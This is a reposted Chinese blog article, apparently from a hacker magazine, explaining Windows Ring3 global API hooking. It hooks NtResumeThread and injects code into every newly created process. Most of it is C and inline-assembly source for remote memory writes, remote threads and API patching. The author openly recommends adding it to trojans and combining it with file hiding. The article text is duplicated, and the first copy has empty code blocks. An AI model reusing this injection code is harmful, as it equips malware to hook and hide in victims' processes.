API拦截—实现Ring3全局HOOK
2009-05-21 21:53
447 查看
魏滔序注:本转载内容仅用来技术研究,请勿于损人害己之用。
首先来解释一下这次的目标。由于windows的copy-on-write机制(Ring0下可以用CR0寄存器关掉它),Ring3下的HOOK只对
当前进程有效,其他进程的API还是正常的。这就是说我们必须枚举进程,然后对每个Ring3进程执行一遍HOOK操作。但是,系统中总有新进程产生,对
于这些新进程我们怎么处理呢?最容易想到的就是设置一个TIMER,每隔一段时间就枚举一遍进程然后把新的挂钩。但仔细一想就知道不行,TEMER过快严
重影响系统效率,慢了又起不到作用,况且windows不是一个实时操作系统,没人能保证到时间TEMER就被激活。如果我们能监控进程创建,并在他们真
正运行之前就执行挂钩操作,就可以完美的解决问题。
但是如何做到这一点呢?我们知道Ring3的进程都有一个“父进程”也就是说新进程都是由老进
程创建的(驱动很少创建进程)。知道这一点就好办了,我们要做的只是截获进程创建。你肯定会说“这么简单,HOOK
NtCreateProcess就可以了!”但是这不是最简单的做法。为什么这么说呢,首先在NtCreateProcess函数被调用时进程并没有真正
被创建,我们无法执行HOOK操作,而当NtCreateProcess返回时,进程又已经开始运行,HOOK时存在线程同步的问题(我用OD在
NtCreateProcess设下INT3断点,却拦不到,不只是为什么?)。
所以我选的函数是NtResumeThread。我们知道,当新
进程被创建时,OS会为其创建一个住线程,而在这之后会调用NtResumeThread时期开始运行,这时初始化完毕,DLL都已经被载入,但进程却没
有开始运行这时我们最好的机会(HAHA,天助我也HAHAHA…)。
复制内容到剪贴板
代码:
思路是这样但是怎么实现呢?来看一下函数的定义:
我们关心的是第
一个参数,它存储的是新进程主线程的句柄,我们可以通过调用
ThreadInformationClass=0,ThreadInformationLength=28的
NtQueryInformationThread函数来获得该县城所属进程的PID,然后只要HOOK它就可以了。
话虽如此,可是如果把
HOOK的代码都放到远程去未免太麻烦了。开始我想的是用远程进程调用CreateRemoteThread来回调HOOK进程。但仔细想想就会发现,我
们在本地HOOK时有足够的权限,可是如果远程进程是GUEST权限的呢?回调时由于权限不够就会出错。翻了翻《windows核心编程》后恍然大悟:可
以使用windows的事件对象来实现。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在
HOOK每一个进程的时候,用CreateEvent创建一个不可继承、自动重置的Event对象,然后创建一个线程用
WaitForSingleObject函数等待改Event。当拦截到新进程创建时,远程线程调用SetEvent来激活Event,然后同样调用
WaitForSingleObject函数等待。这时本地的WaitForSingleObject会返回,
然后再进行相关的处理,然后调用SetEvent来让远程hook函数继续运行。这样有个问题就是本题怎样知道新进程PID?我的解决办法是远程调用
SetEvent前先把PID写在HOOK函数开头的特定偏移位置,然后本地用ReadProcessMemory来读取。限于篇幅讲得不太具体,如果不
懂最好去看一看《windows核心编程》。
好了,理论就讲道这里,来看看代码,GO!(虽然是在去年的5期文章的基础上改的,不过改动较大,所以关键代码已提上来了。)
首先是hook函数,主要功能是对指定进程的指定API进行hook操作
复制内容到剪贴板
代码:
接下来是远程的初始化函数,用来打开Event
复制内容到剪贴板
代码:
这时上面说到过的等待线程,每HOOK一个进程就有一个对应的这个线程,这里本来应该加一个垃圾回收机制,即当本线程对应的进程已经不存在了的时候,线程自我销毁。不过还没来得及写^_^
复制内容到剪贴板
代码:
下面是精华了哦,重点仔细看啊。
复制内容到剪贴板
代码:
小结:
最后来总结一下思路把,程序分为本地(HOOK程序)和远程(被HOOK程序)。
最
近Ring0的木马大行其道,不过Ring0的东西写起来太费时搞不好就BSOD,光是弄DDK就花了我一个礼拜,555…所以我们的Ring3HOOK
还是很有市场的,快加到你的爱马里吧,只要在开头加一个枚举进程,所有的Ring3进程就统统地被挂上了,再配合以前的隐藏文件……嘿嘿
http://www.hackerxfiles.net/viewthread.php?tid=14566
首先来解释一下这次的目标。由于windows的copy-on-write机制(Ring0下可以用CR0寄存器关掉它),Ring3下的HOOK只对
当前进程有效,其他进程的API还是正常的。这就是说我们必须枚举进程,然后对每个Ring3进程执行一遍HOOK操作。但是,系统中总有新进程产生,对
于这些新进程我们怎么处理呢?最容易想到的就是设置一个TIMER,每隔一段时间就枚举一遍进程然后把新的挂钩。但仔细一想就知道不行,TEMER过快严
重影响系统效率,慢了又起不到作用,况且windows不是一个实时操作系统,没人能保证到时间TEMER就被激活。如果我们能监控进程创建,并在他们真
正运行之前就执行挂钩操作,就可以完美的解决问题。
但是如何做到这一点呢?我们知道Ring3的进程都有一个“父进程”也就是说新进程都是由老进
程创建的(驱动很少创建进程)。知道这一点就好办了,我们要做的只是截获进程创建。你肯定会说“这么简单,HOOK
NtCreateProcess就可以了!”但是这不是最简单的做法。为什么这么说呢,首先在NtCreateProcess函数被调用时进程并没有真正
被创建,我们无法执行HOOK操作,而当NtCreateProcess返回时,进程又已经开始运行,HOOK时存在线程同步的问题(我用OD在
NtCreateProcess设下INT3断点,却拦不到,不只是为什么?)。
所以我选的函数是NtResumeThread。我们知道,当新
进程被创建时,OS会为其创建一个住线程,而在这之后会调用NtResumeThread时期开始运行,这时初始化完毕,DLL都已经被载入,但进程却没
有开始运行这时我们最好的机会(HAHA,天助我也HAHAHA…)。
复制内容到剪贴板
代码:
NTSTATUS NtResumeThread( IN HANDLE ThreadHandle, OUT PULONG PreviousSuspendCount OPTIONAL );
思路是这样但是怎么实现呢?来看一下函数的定义:
我们关心的是第
一个参数,它存储的是新进程主线程的句柄,我们可以通过调用
ThreadInformationClass=0,ThreadInformationLength=28的
NtQueryInformationThread函数来获得该县城所属进程的PID,然后只要HOOK它就可以了。
话虽如此,可是如果把
HOOK的代码都放到远程去未免太麻烦了。开始我想的是用远程进程调用CreateRemoteThread来回调HOOK进程。但仔细想想就会发现,我
们在本地HOOK时有足够的权限,可是如果远程进程是GUEST权限的呢?回调时由于权限不够就会出错。翻了翻《windows核心编程》后恍然大悟:可
以使用windows的事件对象来实现。用到的API有:OpenEvent,CreateEvent,SetEvent,ResetEvent。在
HOOK每一个进程的时候,用CreateEvent创建一个不可继承、自动重置的Event对象,然后创建一个线程用
WaitForSingleObject函数等待改Event。当拦截到新进程创建时,远程线程调用SetEvent来激活Event,然后同样调用
WaitForSingleObject函数等待。这时本地的WaitForSingleObject会返回,
然后再进行相关的处理,然后调用SetEvent来让远程hook函数继续运行。这样有个问题就是本题怎样知道新进程PID?我的解决办法是远程调用
SetEvent前先把PID写在HOOK函数开头的特定偏移位置,然后本地用ReadProcessMemory来读取。限于篇幅讲得不太具体,如果不
懂最好去看一看《windows核心编程》。
好了,理论就讲道这里,来看看代码,GO!(虽然是在去年的5期文章的基础上改的,不过改动较大,所以关键代码已提上来了。)
首先是hook函数,主要功能是对指定进程的指定API进行hook操作
复制内容到剪贴板
代码:
int HookNamedApi(PDLLINFO pDllInfo, char *ApiName, DWORD HookProc,HANDLE ObjectProcessHandle) { DWORD dw, NamedApiAddress,NewFunc;//变量初始化 MEMORY_BASIC_INFORMATION mbi; static EventInfo myEventInfo; static Num=0x676e696b; NamedApiAddress = (DWORD)GetProcAddress(pDllInfo->hModule, ApiName);//目标api地址,每个进程的api地址都是一样的,只要找本进程的就可以了。 if(NamedApiAddress == NULL) { printf("Error:GetProcAddress in hook_api");//错误处理 return 0; } if(!VirtualQueryEx(ObjectProcessHandle,(void*)NamedApiAddress,&mbi,sizeof(MEMORY_BASIC_INFORMATION)))//获取目标api所在内存信息 { printf("Error:VirtualQueryEx in hook_api"); return 0; } if(!VirtualProtectEx(ObjectProcessHandle,mbi.BaseAddress,mbi.RegionSize,PAGE_EXECUTE_READWRITE,&dw))// 分配写和执行权限,因为我们要对目标API开头进行写操作 { printf("Error:VirtualProtectEx in hook_api"); return 0; } LPVOID WriteAddress=VirtualAllocEx(ObjectProcessHandle,0,1000,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);//分配内存,写入hook函数 //计算备份函数COPY的位置 NewFunc = NamedApiAddress - (DWORD)pDllInfo->modinfo.lpBaseOfDll + (DWORD)pDllInfo->lpNewBaseOfDll; //修改原函数入口处内容 if(strcmp(ApiName,"NtResumeThread")==0)//如果是hook NtResumeThread函数要做一些处理 { DWORD my_CreateEventA=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateEventA"); HANDLE EventFar; __asm//这里不用汇编vc总说类型不对,偷个懒^_^ { pushad push 00000000h push Num push 0x676e696b push esp//构造Event名 push 0 push 0 push 0 call my_CreateEventA mov EventFar,eax add esp,12 popad } * (PDWORD)((DWORD)FarStartUp+9)= (DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"OpenEventA");//远程 函数的API地址都是动态写入的。这里说一句,以前是写入远程后用WriteProcessMemory来改,后来想到这样太慢(转到Ring0要 1000个CPU时间的哦)于是改在本地完成,但我们对代码段进行了写操作,默认是不允许的,所以要用PE修改工具来给.text段加上可写属性 LPVOID StartUpAddr=VirtualAllocEx(ObjectProcessHandle,0,500,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE); //分配内存,写入StartUp函数,因为我们用Event来解决,所以要在远程打开该Event对象 WriteProcessMemory(ObjectProcessHandle,StartUpAddr,(LPVOID)FarStartUp,500,0);//写入函数 printf("%x/n",(DWORD)StartUpAddr);//调试信息 HANDLEFarThread=CreateRemoteThread(ObjectProcessHandle,0,0, (PTHREAD_START_ROUTINE)StartUpAddr,(PVOID)Num,0,0);//创建远程线程 WaitForSingleObject(FarThread,-1);//等待远程初始化完毕 CloseHandle(FarThread); DWORD ReadBuf; ReadProcessMemory(ObjectProcessHandle,(LPVOID)((DWORD)StartUpAddr+21),&ReadBuf,4,0);//读出远程的Event句柄数值,后面写入HOOK函数 VirtualFreeEx(ObjectProcessHandle,StartUpAddr,500,MEM_RELEASE);//释放内存 *(PDWORD)(HookProc+WRITEBASE+7)=ReadBuf;//写入句柄 myEventInfo.EventFar=EventFar; myEventInfo.ObjectProcessHandle=ObjectProcessHandle; myEventInfo.WriteAddress=(DWORD)WriteAddress;//线程参数 CreateThread(0,0,(unsigned long (__stdcall *)(void *))my_EventProcess_Thread,&myEventInfo,0,0);//创建本地等待线程 Num++;//每个进程用不同的Event,所以名称不一样 } *(PDWORD)(HookProc+WRITEBASE)=NewFunc; *(PDWORD)(HookProc+WRITEBASE+14)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"GetCurrentProcessId"); *(PDWORD)(HookProc+WRITEBASE+21)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"SetEvent"); *(PDWORD)(HookProc+WRITEBASE+28)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"WaitForSingleObject"); *(PDWORD)(HookProc+WRITEBASE+35)=(DWORD)GetProcAddress(GetModuleHandle("ntdll.dll"),"NtQueryInformationThread"); *(PDWORD)(HookProc+WRITEBASE+42)=(DWORD)GetProcAddress(GetModuleHandle("kernel32.dll"),"ResetEvent");//初始化HOOK函数,写入API地址 WriteProcessMemory(ObjectProcessHandle,WriteAddress,(void *)HookProc,1000,0);//写入HOOK函数 *(PDWORD)(&HookCode[0]+1)=(DWORD)WriteAddress; WriteProcessMemory(ObjectProcessHandle,(LPVOID)NamedApiAddress,&HookCode,7,0);//修改目标API首字节,使其跳转到我们的HOOK函数 printf("func:%x/n",WriteAddress);//调试信息 return 1; }
接下来是远程的初始化函数,用来打开Event
复制内容到剪贴板
代码:
void FarStartUp(int Num){//Event名称的后半段,我创建的Event名称都是形如”kingXXXX” int myOpenEvent=0x10020000;//API函数地址,动态写入,这条代码编译后是类似于这样的汇编码:mov [ebp+XX],XXXX,修改时只要把XXXX换成API地址就可以了 __asm call GetMyAddr;//这个是用来取得本函数的地址用的,不知道的话可以上网查查 DWORD myEventHandle=0x00220000;//本地从这里读出句柄代码,HOOK函数中的代码类似 DWORD FuncAddr; __asm { jmp run//正式运行时跳过 GetMyAddr: pop eax mov FuncAddr,eax push eax ret run: push 00000000 push Num push 0x676e696b push esp push 0 push EVENT_ALL_ACCESS call myOpenEvent//构造字符串,并打开句柄 mov myEventHandle,eax } *(PDWORD)(FuncAddr+3)=myEventHandle;//往开头写入 return; }
这时上面说到过的等待线程,每HOOK一个进程就有一个对应的这个线程,这里本来应该加一个垃圾回收机制,即当本线程对应的进程已经不存在了的时候,线程自我销毁。不过还没来得及写^_^
复制内容到剪贴板
代码:
void __stdcall my_EventProcess_Thread(PVOID InEventInfo) { EventInfo myEventInfo; PEventInfo Info=(PEventInfo)InEventInfo; myEventInfo.EventFar=Info->EventFar;//保存句柄和进程信息 myEventInfo.ObjectProcessHandle=Info->ObjectProcessHandle; myEventInfo.WriteAddress=Info->WriteAddress;//这个是HOOK函数句柄 while(true)//循环等待 { WaitForSingleObject(myEventInfo.EventFar,-1); DWORD ReadBuf=0;//当对应进程创建后WaitForSingleObject返回,执行到这里 ReadProcessMemory(myEventInfo.ObjectProcessHandle, (LPVOID)(myEventInfo.WriteAddress+67),&ReadBuf,4,0);//从远程读出新进程的PID,在 HOOK函数调用SetEvent之前会在远程写入。 HANDLE ObjectProcessHandle=OpenProcess(PROCESS_ALL_ACCESS,1,ReadBuf);//打开目标进程 HookProcess(ObjectProcessHandle);//执行HOOK操作,本来应改检查一下该进程是否已经被HOOK,还没来得及写 SetEvent(myEventInfo.EventFar);//恢复远程Hook函数运行 ResetEvent(myEventInfo.EventFar);//本来是自动重置的Event,不过为了保险在重置一下 } return; }
下面是精华了哦,重点仔细看啊。
复制内容到剪贴板
代码:
DWORD __stdcall Hook_NtResumeThread( HANDLE ThreadHandle, PULONG PreviousSuspendCount OPTIONAL) { int OldNtResumeThread;//原NtQueryDirectoryFile函数 int EventHandle; //Event句柄,由FarStartUp函数打开 int my_GetCurrentProcessId; int my_SetEnent; int my_WaitForSingleObject; int my_NtQueryInformationThread;//存放个API的指的变量 int my_ResetEvent; __asm { mov OldNtResumeThread,00112244h mov EventHandle,00225588h mov my_GetCurrentProcessId,22447799h mov my_SetEnent,55662244h mov my_WaitForSingleObject,55889966h mov my_NtQueryInformationThread,77554411h mov my_ResetEvent,55661188h//hook时写入 pushad//保护堆栈 } __asm call GetAddr;//同FarStartUp函数 int FarRead; __asm mov FarRead,22550011h; DWORD myAddr; __asm { jmp start GetAddr: pop eax mov myAddr,eax push eax ret start: } DWORD myStatus;//存储返回变量 BYTE SystemInfo[60];//存放NtQueryInformationThread返回信息的缓冲 int infoaddr=(DWORD)&SystemInfo;//缓冲地址 int CurrentProcess; __asm { push 0 push 28//这里必须是28,则函数不执行,这个值是我从10到100琼琚出来的,辛苦啊555。。。 push infoaddr push 0 push ThreadHandle call my_NtQueryInformationThread//调用NtQueryInformationThread获得线程所属进程的PID mov myStatus,eax } DWORD id=*(DWORD *)(SystemInfo+8); __asm { call my_GetCurrentProcessId//获得本进程PID mov CurrentProcess,eax } if(id==(DWORD)CurrentProcess)//如果是对当前进程操作就直接返回,免得传回本地浪费时间降低效率 { __asm { push PreviousSuspendCount push ThreadHandle call OldNtResumeThread mov myStatus,eax popad//对应开头的pushad,用来保护堆栈,下同 } return myStatus; } if(myStatus==0)//如果NtQueryInformationThread执行不成功就直接返回,漏hook总比程序死掉好,嘿嘿 { *(PDWORD)(myAddr+3)=id;//把目标PID写道函数开头 __asm { push EventHandle call my_SetEnent//恢复本地对应线程运行 push -1 push EventHandle call my_WaitForSingleObject//等待本地HOOK操作完成 push EventHandle call my_ResetEvent } } __asm { push PreviousSuspendCount push ThreadHandle call OldNtResumeThread//调用原NtResumeThread函数,到这里,新进程正式开始运行 mov myStatus,eax popad//保护堆栈 } return myStatus;//这个是用来摆平vc++编译器的,没实际意义^_^ }
小结:
最后来总结一下思路把,程序分为本地(HOOK程序)和远程(被HOOK程序)。
最
近Ring0的木马大行其道,不过Ring0的东西写起来太费时搞不好就BSOD,光是弄DDK就花了我一个礼拜,555…所以我们的Ring3HOOK
还是很有市场的,快加到你的爱马里吧,只要在开头加一个枚举进程,所有的Ring3进程就统统地被挂上了,再配合以前的隐藏文件……嘿嘿
http://www.hackerxfiles.net/viewthread.php?tid=14566
相关文章推荐
- API拦截—实现Ring3全局HOOK
- API拦截—实现Ring3全局HOOK
- API拦截——实现Ring3全局HOOK
- vc++实现Ring3全局HOOK
- 实现拦截API的钩子(Hook)
- Ring3 下 API Inline Hook 优化方案探索与实现
- 实现拦截API的钩子(Hook)
- vc++实现Ring3全局HOOK
- vc++实现Ring3全局HOOK
- 实现拦截API的钩子(Hook)
- Ring3下Hook API实现分析
- vc++实现Ring3全局HOOK
- 挂钩 NtResumeThread 实现全局Hook
- 我的学习笔记之二——修改导入表HOOK API(ring3_iat_exe_hook_Messagebox)
- 星火杯项目笔记——iOS调用有道API翻译句子、在AppDelegate里实现全局访问的sqlite实例【13-10-14】
- Android系统篇之----免root实现Hook系统服务拦截方法
- 自实现API, 过所有用户层HOOK
- Hook技术之API拦截(API Hook)
- EasyHook远程进程注入并hook api的实现
- Windows 平台下 Api的拦截(hook)